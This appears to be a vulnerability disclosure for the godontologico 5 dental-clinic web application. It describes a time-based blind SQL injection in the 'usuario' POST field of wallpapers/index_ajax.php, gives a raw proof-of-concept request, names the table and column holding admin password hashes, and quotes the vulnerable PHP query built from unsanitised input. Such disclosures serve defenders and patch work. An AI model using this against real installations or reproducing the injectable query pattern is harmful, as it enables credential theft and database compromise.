godontologico 5 SQL注入漏洞

                                                [1] Sql Injection POST Time Based Blind
 
#Note: Time based Injection on POST requests as indicated on the output. You might use sqlmap -l to load it though. Admin hashes under Table ‘funcionarios' on column ‘senha'.  
 
PoC:  
 
POST /gco/wallpapers/index_ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://localhost/gco/
Content-Length: 61
Cookie: __atuvc=3%7C3; res_session=5mYRbQ67qPN3Zx%2FH%2FPKLDcSgbu3FmjzVAfezt0G0Hapsi7GRhIzlauDhsVpWaAeOu8MAa2wkiyHTT%2BGemuchDNMd1kQYMKbXSp6MFx8BS6A05M%2FIxw0vP2XGGDE5iSzrDERGO6QQa4pOXRjpMD4aYL8%2BQPCj98JZrngcZnhoEFWekObo5EWdnnuhg8zpmWL26dMuzY9uPu%2BO60BwSiVU0CCrFKxc5lMkSH%2BE9%2FwxI4XQpVE%2Bb9X4StmPGMMiZ1it0mJcChZdz4Mku1WJcOrzLVN0RYZYIvARwBiMXdGf%2Bvpw%2F0MHPP09fBv0PRgNI4XAI9apbQ7RLlxK6LneiNaR0epLS1YQiRpucBxtI0AiKofvOK5THZM6KSenIxsqUsrSxtff6eic0prlZb%2Fvl%2B3unAIgFdcAREUhQZ6lytABxA3CRMuZUmb2lyU7cWb%2FnyhQ9BtCXtfSTrdJze6JIFxsFg%3D%3D; __utma=111872281.1068821941.1389863798.1389863798.1389863798.1; __utmz=111872281.1389863798.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ck_login_id_20=1; ck_login_language_20=en_us; ck_login_theme_20=Sugar5; sLogin=admin; bLicense53=true; ccss=2; ws_session=cbm4nhtn24jn9mhfvbjimjjl55; mySession_ID=rkc83o3o3e5df60aoocpb2bqb1; groupoffice=u8q9fb14k1jqvl0vtaidqr3va1; PHPSESSID=pk5053kt9fh1p1jm8kcvn6kh05; Loggedin=True
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
 
 
usuario=['SQL INJECTION']&senha=%70%61%73%73&login=%4C%6F%67%69%6E
 
 
 
Vulnerable Code:
[+] wallpapers/index_ajax.php
 
 
    $nivel = 'Funcionario';
                $row = mysql_fetch_array(mysql_query("SELECT * FROM `funcionarios` WHERE `usuario` = '$_POST[usuario]'"));
                if($row[nome] == "") {
                        $nivel = 'Dentista';
                        $row = mysql_fetch_array(mysql_query("SELECT * FROM `dentistas` WHERE `usuario` = '$_POST[usuario]'"));
                        if($row[nome] == "") {
                                //echo "<scr"."ipt>alert('Login ou senha incorretos!'); Ajax('wallpapers/index', 'conteudo', '')</scr"."ipt>";
                        }